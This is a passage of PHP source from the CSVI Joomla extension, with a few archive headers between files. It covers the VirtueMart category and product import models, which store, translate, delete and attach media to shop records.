@return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_categories = $this->getTable('categories'); $this->_medias = $this->getTable('medias'); $this->_category_medias = $this->getTable('category_medias'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if ($template->get('language', 'general') == $template->get('target_language', 'general')) $lang = $template->get('language', 'general'); else $lang = $template->get('target_language', 'general'); if (!in_array($db->getPrefix().'virtuemart_categories_'.$lang, $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; $this->_categories_lang = $this->getTable('categories_lang'); } } /** * Cleaning the tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_categories->reset(); $this->_medias->reset(); $this->_category_medias->reset(); $this->_categories_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $translate = false; // Load the category separator if (is_null($this->_catsep)) { $this->_catsep = $template->get('category_separator', 'general', '/'); } // Loop through all categories if we are importing a translation if (isset($this->category_path_trans)) { $trans_paths = explode($this->_catsep, $this->category_path_trans); $paths = explode($this->_catsep, $this->category_path); if (!is_array($paths)) $paths = (array)$paths; $translate = true; } else if ($template->get('language', 'general') == $template->get('target_language', 'general')) { $trans_paths = array($this->category_path); $paths = array($this->category_path); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANGUAGE_UNKNOWN', $template->get('language', 'general'), $template->get('target_language', 'general'))); return false; } // Process the paths foreach ($paths as $key => $path) { // Construct the full path $fullpath = array(); for($i=0; $i<= $key; $i++) { $fullpath[] = $paths[$i]; } $path = implode($this->_catsep, $fullpath); // First get the category ID if (empty($this->virtuemart_category_id)) { // Check if we are importing a translation $categoryid = $this->_categoriesmodel->getCategoryIdFromPath($path); // If we can't get a category ID we cannot continue if (!$categoryid) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_COULD_NOT_FIND_A_CATEGORY_ID')); return false; } else $this->virtuemart_category_id = $categoryid['category_id']; } // We have the category ID, lets see if it should be deleted if ($this->category_delete == 'Y') { $this->_deleteCategory(); } else { // Handle the images $this->_processMedia(); // Set some basic values if (!isset($this->modified_on)) { $this->_categories->modified_on = $this->date->toMySQL(); $this->_categories->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_category_id)) { $this->_categories->created_on = $this->date->toMySQL(); $this->_categories->created_by = $this->user->id; } // Check if the category_name matches the last entry in the category_path if (isset($this->category_name)){ $catparts = explode($this->_catsep, $this->category_path); end($catparts); if (current($catparts) != $this->category_name) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_NAME_NO_MATCH_CATEGORY_PATH')); return false; } } // All fields have been processed, bind the data $this->_categories->bind($this); // Now store the data if ($this->_categories->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CATEGORY_DETAILS')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CATEGORY_DETAILS')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_DETAILS_NOT_ADDED', $this->_categories->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_DETAILS_QUERY'), true); // Set the product ID $this->virtuemart_category_id = $this->_categories->virtuemart_category_id; // Store the language fields $this->_categories_lang->load($this->virtuemart_category_id); $this->_categories_lang->bind($this); // Set the translated category name if ($translate) { $this->_categories_lang->category_name = $trans_paths[$key]; } // Check and store the language data if ($this->_categories_lang->check()) { if ($this->_categories_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CATEGORY_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CATEGORY_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANG_NOT_ADDED', $this->_categories_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANG_NOT_ADDED', $this->_categories_lang->getError())); return false; } // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_DETAILS_QUERY'), true); } // Clean the tables $this->cleanTables(); $this->virtuemart_category_id = null; } } /** * Delete a category and its references * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _deleteCategory() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the product if ($this->_categories->delete($this->virtuemart_category_id)) { $csvilog->AddStats('deleted', JText::_('COM_CSVI_CATEGORY_DELETED')); $db = JFactory::getDbo(); // Delete category translations jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); foreach ($languages as $language){ $query = $db->getQuery(true); $query->delete('#__virtuemart_categories_'.strtolower(str_replace('-', '_', $language))); $query->where('virtuemart_category_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CATEGORY_LANG_XREF'), true); $db->query(); } // Delete category reference $query = $db->getQuery(true); $query->delete('#__virtuemart_category_categories'); $query->where('category_child_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CATEGORY_XREF'), true); $db->query(); // Delete media $query = $db->getQuery(true); $query->delete('#__virtuemart_category_medias'); $query->where('virtuemart_category_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MEDIA_XREF'), true); $db->query(); // Reset the products that link to this category $query = $db->getQuery(true); $query->delete('#__virtuemart_product_categories'); $query->where('virtuemart_category_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_CATEGORY_XREF'), true); $db->query(); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_NOT_DELETED')); } } /** * Process media files * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _processMedia() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Check if any image handling needs to be done if ($template->get('process_image', 'image', false)) { if (!is_null($this->file_url)) { // Image handling $imagehelper = new ImageHelper; // Verify the original image if ($imagehelper->isRemote($this->file_url)) { $original = $this->file_url; $remote = true; } else { $original = $template->get('file_location_category_images', 'path').$this->file_url; $remote = false; } $file_details = $imagehelper->ProcessImage($original, $template->get('file_location_category_images', 'path')); // Process the file details if ($file_details['exists'] && $file_details['isimage']) { $media = array(); $media['virtuemart_vendor_id'] = $this->virtuemart_vendor_id; $media['file_title'] = $this->file_url; $media['file_description'] = $this->file_url; $media['file_meta'] = $this->file_url; $media['file_mimetype'] = $file_details['mime_type']; $media['file_type'] = 'category'; $media['file_is_product_image'] = 0; $media['file_is_downloadable'] = 0; $media['file_is_forSale'] = 0; $media['file_url'] = (empty($file_details['output_path'])) ? $file_details['output_name'] : $file_details['output_path'].$file_details['output_name']; $media['published'] = $this->published; // Create the thumbnail if ($template->get('thumb_create', 'image')) { if (empty($this->file_url_thumb)) $this->file_url_thumb = 'resized/'.basename($media['file_url']); if ($remote) $original = $this->file_url; else $original = $media['file_url']; $media['file_url_thumb'] = $imagehelper->createThumbnail($original, $template->get('file_location_category_images', 'path'), $this->file_url_thumb); } else $media['file_url_thumb'] = (empty($this->file_url_thumb)) ? $media['file_url'] : $this->file_url_thumb; // Bind the media data $this->_medias->bind($media); // Check if the media image already exists $this->_medias->check(); // Store the media data if ($this->_medias->store()) { // Store the product image relation $data = array(); $data['virtuemart_category_id'] = $this->virtuemart_category_id; $data['virtuemart_media_id'] = $this->_medias->virtuemart_media_id; $this->_category_medias->bind($data); if (!$this->_category_medias->check()) { $this->_category_medias->store(); } } } } } } } ?>PKs>\)/com_csvi/models/com_virtuemart/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\L7com_csvi/models/com_virtuemart/import/productimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo test downloadable files * @todo add data read in case of incorrect columns. * @todo remove message about incorrect column count as import now ignores those??? * @todo Create a new convertdate function * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); $this->vmconfig = new CsviCom_VirtueMart_Config(); $this->virtuemart_product_id = $this->helper->getProductId(); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Load the current product data $this->_products->load($this->virtuemart_product_id); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'product_available_date': $this->_products->$name = $this->convertDate($value); break; case 'product_discount_date_start': $this->$name = $this->convertDate($value); break; case 'product_discount_date_end': $this->$name = $this->convertDate($value); break; case 'product_price': case 'product_override_price': // Cannot clean price otherwise we lose calculations $this->$name = $this->toPeriod($value); break; case 'product_weight': case 'product_length': case 'product_width': case 'product_height': $this->_products->$name = $this->toPeriod($value); break; case 'related_products': if (substr($value, -1, 1) == "|") $this->related_products = substr($value, 0, -1); else $this->related_products = $value; break; case 'category_id': case 'category_path': if (strlen(trim($value)) > 0) { if (stripos($value, '|') > 0) $category_ids[$name] = explode("|", $value); else $category_ids[$name][] = $value; $this->category_ids = $category_ids; } $this->$name = $value; break; case 'manufacturer_name': $this->_manufacturers_lang->mf_name = $value; break; case 'manufacturer_id': $this->_manufacturers_lang->virtuemart_manufacturer_id = $value; break; case 'price_with_tax': $this->$name = $this->cleanPrice($value); break; case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->$name = $value; break; case 'override': case 'product_special': switch ($value) { case 'y': case 'Y': case '1': $value = 1; break; default: $value = 0; break; } $this->$name = $value; break; case 'product_currency': $this->$name = $this->helper->getCurrencyId(strtoupper($value), $this->virtuemart_vendor_id); break; case 'calc_value': case 'calc_value_mathop': $this->_calcs->$name = $value; break; case 'product_name': $this->_products_lang->$name = $value; break; case 'product_tax': $this->$name = $this->cleanPrice($value); break; default: $this->$name = $value; break; } } // Calculate product packaging if (version_compare($this->vmconfig->get('release'), '2.0.10', 'lt')) { if (!is_null($this->product_box) && !is_null($this->product_packaging)) $this->_productPackaging(); } // We need the currency if (is_null($this->product_currency) && (isset($this->product_price) || isset($this->price_with_tax))) { $this->_product_prices->product_currency = $this->productCurrency($this->virtuemart_vendor_id); } // Check for child product and get parent SKU if it is if (!is_null($this->product_parent_sku)) { $this->_productParentSku(); } // Set the record identifier $this->record_identity = (isset($this->product_sku)) ? $this->product_sku : $this->virtuemart_product_id; return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if ($this->virtuemart_product_id && !$template->get('overwrite_existing_data', 'general')) { $csvilog->addDebug(JText::sprintf('COM_CSVI_DATA_EXISTS_PRODUCT_SKU', $this->product_sku)); $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_DATA_EXISTS_PRODUCT_SKU', $this->product_sku)); } else { if (empty($this->product_sku) && empty($this->virtuemart_product_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_DEBUG_NO_SKU')); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_NO_SKU_OR_ID')); return false; } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_PROCESS_SKU', $this->record_identity)); } // User wants to delete the product if (isset($this->virtuemart_product_id) && $this->product_delete == "Y") { $this->_deleteProduct(); } else if (!isset($this->virtuemart_product_id) && $this->product_delete == "Y") { $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_NO_PRODUCT_ID_NO_DELETE', $this->record_identity)); } else if (!isset($this->virtuemart_product_id) && $template->get('ignore_non_exist', 'general')) { // Do nothing for new products when user chooses to ignore new products $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_DATA_EXISTS_IGNORE_NEW', $this->record_identity)); } // User wants to add or update the product else { // Process order levels if (!isset($this->product_params) && (!is_null($this->min_order_level) || !is_null($this->max_order_level) || !is_null($this->product_box))) { $this->product_params = 'min_order_level="'; if (isset($this->min_order_level)) $this->product_params .= $this->min_order_level; else $this->product_params .= '0'; $this->product_params .= '"|max_order_level="'; if (isset($this->max_order_level)) $this->product_params .= $this->max_order_level; else $this->product_params .= '0'; if (version_compare($this->vmconfig->get('release'), '2.0.10', 'ge')) { $this->product_params .= '"|product_box="'; if (isset($this->product_box)) $this->product_params .= $this->product_box; else $this->product_params .= '0'; } $this->product_params .= '"|'; } // Process discount if (isset($this->product_discount)) $this->_processDiscount(); // Process tax $csvilog->addDebug('Product tax'.$this->product_tax); if (!empty($this->product_tax)) $this->_processTax(); // Process manufacturer $this->_manufacturerImport(); // Process product info if ($this->_productQuery()) { // Handle the shopper group(s) $this->_processShopperGroup(); // Handle the images $this->_processMedia(); // Check if the price is to be updated if (isset($this->product_price) || isset($this->price_with_tax)) $this->_priceQuery(); // Add a product <--> manufacturer cross reference if ((isset($this->_manufacturers_lang->virtuemart_manufacturer_id) && $this->_manufacturers_lang->virtuemart_manufacturer_id)) { $this->_manufacturerCrossReference(); } // Process custom fields if (isset($this->custom_title) && !empty($this->custom_title)) $this->_processCustomFields(); // Process related products // Related products are first input in the database as SKU // At the end of the import, this is converted to product ID if ($this->related_products) $this->_processRelatedProducts(); // Process category path if (isset($this->category_path) || isset($this->category_id)) { if ($this->category_ids || $this->category_id) { if (is_null($this->_categorymodel)) $this->_categorymodel = new CsviModelCategory(); $this->_categorymodel->getStart(); // Check the categories // Do we have IDs if (array_key_exists('category_id', $this->category_ids)) { $this->_categorymodel->CheckCategoryPath($this->virtuemart_product_id, false, $this->category_ids['category_id']); } else if (array_key_exists('category_path', $this->category_ids)) { $this->_categorymodel->CheckCategoryPath($this->virtuemart_product_id, $this->category_ids['category_path'], false); } } } } } // Now that all is done, we need to clean the table objects $this->cleanTables(); } } /** * Execute any processes to finalize the import * * @copyright * @author RolandD * @todo * @see * @access public * @param array $fields list of fields used for import * @return * @since 3.0 */ public function getPostProcessing($fields=array()) { // Related products if (in_array('related_products', $fields)) $this->_postProcessRelatedProducts(); } /** * Load the product related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Load the main tables $this->_products = $this->getTable('products'); $this->_medias = $this->getTable('medias'); $this->_product_medias = $this->getTable('product_medias'); $this->_product_prices = $this->getTable('product_prices'); $this->_calcs = $this->getTable('calcs'); $this->_product_customfields = $this->getTable('product_customfields'); $this->_manufacturers = $this->getTable('manufacturers'); $this->_product_manufacturers = $this->getTable('product_manufacturers'); $this->_product_shoppergroups = $this->getTable('product_shoppergroups'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_products_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else if (!in_array($db->getPrefix().'virtuemart_manufacturers_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; // Load the language tables $this->_products_lang = $this->getTable('products_lang'); $this->_manufacturers_lang = $this->getTable('manufacturers_lang'); } } /** * Cleaning the product related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { // Clean the main tables $this->_products->reset(); $this->_medias->reset(); $this->_product_medias->reset(); $this->_product_prices->reset(); $this->_calcs->reset(); $this->_product_customfields->reset(); $this->_manufacturers->reset(); $this->_product_manufacturers->reset(); // Clean the language tables $this->_products_lang->reset(); $this->_manufacturers_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the product packaging * * The number is calculated by hexnumbers * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _productPackaging() { $this->product_packaging = (($this->product_box<<16) | ($this->product_packaging & 0xFFFF)); } /** * Get the product parent sku if it is a child product * * The parent product MUST be imported before the child product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _productParentSku() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_PARENT_SKU')); if (isset($this->product_sku)) { // Check if we are dealing with a child product if ($this->product_parent_sku !== $this->product_sku) { $this->child_product = true; // Get the parent id first $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($this->product_parent_sku)); $db->setQuery($query); $this->product_parent_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_PARENT_SKU'), true); } else { $this->product_parent_id = 0; $this->child_product = false; } } } /** * Creates either an update or insert SQL query for a product. * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return bool true if the query executed successful|false if the query failed * @since 3.0 */ private function _productQuery() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we need to do a stock calculation if (!is_null($this->product_in_stock)) { // Split the modification $operation = substr($this->product_in_stock, 0, 1); $value = substr($this->product_in_stock, 1); // Get the database value $stock = $this->_products->product_in_stock; // Check what modification we need to do and apply it switch ($operation) { case '+': $stock += $value; break; case '-': $stock -= $value; break; case '/': $stock /= $value; break; case '*': $stock*= $value; break; default: // Assign the current price to prevent it being overwritten $stock = $this->product_in_stock; break; } $this->product_in_stock = $stock; } // Bind the initial data $this->_products->bind($this); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_products->modified_on = $this->date->toMySQL(); $this->_products->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_product_id)) { $this->_products->created_on = $this->date->toMySQL(); $this->_products->created_by = $this->user->id; } foreach ($this->_avfields as $id => $column) { // Only process the fields the user is uploading if (isset($this->$column)) { // Add a redirect for the product cdate if ($column == "product_cdate" && !empty($this->$column)) { $this->_products->created_on = $this->$column; } // Add a redirect for the product mdate if ($column == "product_mdate" && !empty($this->$column)) { $this->_products->modified_on = $this->$column; } } } // We have a succesful save, get the product_id if ($this->_products->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_SKU')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_SKU')); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_QUERY'), true); // If this is a child product, check if we need to update the custom field if ($this->child_product) $this->_processParentValues(); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_NOT_ADDED', $this->_products->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_QUERY'), true); return false; } // Set the product ID $this->virtuemart_product_id = $this->_products->virtuemart_product_id; // Store the language fields $this->_products_lang->bind($this); $this->_products_lang->virtuemart_product_id = $this->virtuemart_product_id; if ($this->_products_lang->check()) { if ($this->_products_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_LANG')); else if ($this->queryResult() == 'INSERT') $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_products_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_products_lang->getError())); return false; } // Store the debug message $csvilog->addDebug('COM_CSVI_PRODUCT_LANG_QUERY', true); // All good return true; } /** * Process Related Products * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _processRelatedProducts() { $db = JFactory::getDbo(); $relatedproducts = explode("|", $this->related_products); $query = $db->getQuery(true); $query = "INSERT IGNORE INTO `#__csvi_related_products` VALUES "; $entries = array(); foreach ($relatedproducts AS $key => $relatedproduct) { $entries[] = "(".$db->q($this->product_sku).", ".$db->q($relatedproduct).")"; } $query .= implode(',', $entries); $db->setQuery($query); $db->query(); // Remove any existing product relations $this->_product_customfields->deleteRelated($this->virtuemart_product_id, $this->virtuemart_vendor_id, $this->helper->getRelatedId()); } /** * Post Process Related Products * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _postProcessRelatedProducts() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $relations = array(); // Get the related products $query = $db->getQuery(true); $query->select('p1.virtuemart_product_id AS virtuemart_product_id, p2.virtuemart_product_id AS custom_value'); $query->from('#__csvi_related_products r'); $query->leftJoin('#__virtuemart_products p1 ON r.product_sku = p1.product_sku'); $query->leftJoin('#__virtuemart_products p2 ON r.related_sku = p2.product_sku'); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_PROCESS_RELATED_PRODUCTS'), true); $relations = $db->loadObjectList(); if (!empty($relations)) { // Store the new relations foreach ($relations as $key => $related) { // Build the object to store $fields = array(); $related->virtuemart_custom_id = $this->helper->getRelatedId(); $related->published = 0; $related->created_on = $this->date->toSql(); $related->created_by = $this->user->id; $related->modified_on = $this->date->toSql(); $related->modified_by = $this->user->id; // Bind the data $this->_product_customfields->bind($related); // Store the data if ($this->_product_customfields->store()) { $csvilog->addDebug(JText::_('COM_CSVI_PROCESS_RELATED_PRODUCTS'), true); } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_RELATED_PRODUCTS'), true); } // Clean the table object for next insert $this->_product_customfields->reset(); } // Empty the relations table $db->setQuery("TRUNCATE ".$db->qn('#__csvi_related_products')); $db->query(); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_RELATED_PRODUCTS_FOUND'), true); } } /** * Process media files * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _processMedia() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Check if any image handling needs to be done if ($template->get('process_image', 'image', false)) { if (!is_null($this->file_url) || $template->get('auto_generate_image_name', 'image', false)) { // Image handling $imagehelper = new ImageHelper; // Get the image path $imgpath = $template->get('file_location_product_images', 'path'); if ($template->get('auto_generate_image_name', 'image')) $this->_createImageName(); // Verify the original image if ($imagehelper->isRemote($this->file_url)) { $original = $this->file_url; $remote = true; $full_path = $imgpath; } else { $remote = false; // Check if the image contains the image path $dirname = dirname($this->file_url); if (strpos($imgpath, $dirname) !== false) { $image = basename($this->file_url); } $original = $imgpath.$this->file_url; $remote = false; // Get subfolders $path_parts = pathinfo($original); $full_path = $path_parts['dirname'].'/'; } // Generate image names if ($template->get('auto_generate_image_name', 'image')) { $file_details = $imagehelper->ProcessImage($original, $full_path, $this->product_full_image_output); } else { $file_details = $imagehelper->ProcessImage($original, $full_path); } // Process the file details if ($file_details['exists'] && $file_details['isimage']) { // Check if the image is an external image if (substr($file_details['name'], 0, 4) == 'http') { $csvilog->AddStats('incorrect', 'COM_CSVI_VM_NOSUPPORT_URL'); } else { $media = array(); $media['virtuemart_vendor_id'] = $this->virtuemart_vendor_id; $media['file_title'] = ($this->file_title) ? $this->file_title : $this->file_url; $media['file_description'] = $this->file_description; $media['file_meta'] = $this->file_meta; $media['file_mimetype'] = $file_details['mime_type']; $media['file_type'] = 'product'; $media['file_is_product_image'] = 1; $media['file_is_downloadable'] = 0; $media['file_is_forSale'] = 0; $media['file_url'] = (empty($file_details['output_path'])) ? $file_details['output_name'] : $file_details['output_path'].$file_details['output_name']; // Create the thumbnail if ($template->get('thumb_create', 'image')) { // Get the subfolder structure $thumb_path = str_ireplace($imgpath, '', $full_path); if (empty($this->file_url_thumb)) $this->file_url_thumb = 'resized/'.$thumb_path.basename($media['file_url']); if ($remote) $original = $this->file_url; else $original = $media['file_url']; $media['file_url_thumb'] = $imagehelper->createThumbnail($original, $imgpath, $this->file_url_thumb); } else { $media['file_url_thumb'] = (empty($this->file_url_thumb)) ? $media['file_url'] : $this->file_url_thumb; if (substr($media['file_url_thumb'], 0, 4) == 'http') { $csvilog->addDebug(JText::sprintf('COM_CSVI_RESET_THUMB_NOHTTP', $media['file_url_thumb'])); $media['file_url_thumb'] = ''; } } // Bind the media data $this->_medias->bind($media); // Check if the media image already exists $this->_medias->check(); // Store the media data if ($this->_medias->store()) { // Store the product image relation $data = array(); $data['virtuemart_product_id'] = $this->virtuemart_product_id; $data['virtuemart_media_id'] = $this->_medias->virtuemart_media_id; $this->_product_medias->bind($data); if (!$this->_product_medias->check()) { $this->_product_medias->store(); } } } } } } } /** * Manufacturer Importer * * Adds or updates a manufacturer and adds a reference to the product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _manufacturerImport() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug('COM_CSVI_DEBUG_MANUFACTURER_IMPORT'); if (!isset($this->_manufacturers_lang->mf_name) && !isset($this->_manufacturers_lang->virtuemart_manufacturer_id)) { // User is not importing manufacturer data but we need a default manufacturer associated with the product $this->_getDefaultManufacturerID(); } // Check for existing manufacturer if ($this->_manufacturers_lang->check()) { // Store the manufacturers language details if ($this->_manufacturers_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_LANG_NOT_ADDED', $this->_manufacturers_lang->getError())); return false; } // Store the debug message $csvilog->addDebug('COM_CSVI_MANUFACTURER_LANG_QUERY', true); // Set the manufacturer ID $this->_manufacturers->virtuemart_manufacturer_id = $this->_manufacturers_lang->virtuemart_manufacturer_id; // Check if a manufacturer exists if (!$this->_manufacturers->check()) { // Store the manufacturer data if ($this->_manufacturers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_NOT_ADDED', $this->_manufacturers->getError())); return false; } // Store the debug message $csvilog->addDebug('COM_CSVI_MANUFACTURER_QUERY', true); } } } /** * Adds a reference between manufacturer and product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _manufacturerCrossReference() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $this->_product_manufacturers->virtuemart_product_id = $this->virtuemart_product_id; $this->_product_manufacturers->virtuemart_manufacturer_id = $this->_manufacturers_lang->virtuemart_manufacturer_id; if (!$this->_product_manufacturers->check()) { $this->_product_manufacturers->store(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_MANUFACTURER_PRODUCT'), true); } } /** * Creates either an update or insert SQL query for a product price. * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _priceQuery() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we have a child product with an empty price (will use parents price) if ($this->child_product && ($this->product_price == 0 && (is_null($this->price_with_tax) && is_null($this->product_tax)))) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CHILD_NO_PRICE')); } else { // Check if we have an override price, this is always excluding tax if ($this->product_override_price) { if (is_null($this->override)) $this->override = 1; } // Check if the price is including or excluding tax if ($this->product_tax && $this->price_with_tax && is_null($this->product_price)) { if (strlen($this->price_with_tax) == 0) $this->product_price = null; else $this->product_price = $this->price_with_tax / (1+($this->product_tax/100)); } else if (strlen($this->product_price) == 0) $this->product_price = null; // Check if we need to assign a shopper group if (!is_null($this->shopper_group_name_price)) { if ($this->shopper_group_name_price == '*') $this->virtuemart_shoppergroup_id = 0; else $this->virtuemart_shoppergroup_id = $this->helper->getShopperGroupId($this->shopper_group_name_price); } // Bind the fields to check for an existing price $this->_product_prices->bind($this); // Check if the price already exists if (!$this->_product_prices->check()) { // Price doesn't exist if (!$this->_product_prices->get('price_quantity_start')) $this->_product_prices->price_quantity_start = 0; if (!$this->_product_prices->get('price_quantity_end')) $this->_product_prices->price_quantity_end = 0; if (!$this->_product_prices->get('override')) $this->_product_prices->override = 0; // Set the create date if the user has not done so and there is no product_price_id if (!$this->_product_prices->get('created_on')) { $this->_product_prices->created_on = $this->date->toSql(); $this->_product_prices->created_by = $this->user->id; } } // Bind the data $this->_product_prices->bind($this); // Check if we need to change the shopper group name if (!is_null($this->shopper_group_name_new)) { if ($this->shopper_group_name_new == '*') $this->_product_prices->virtuemart_shoppergroup_id = 0; else { 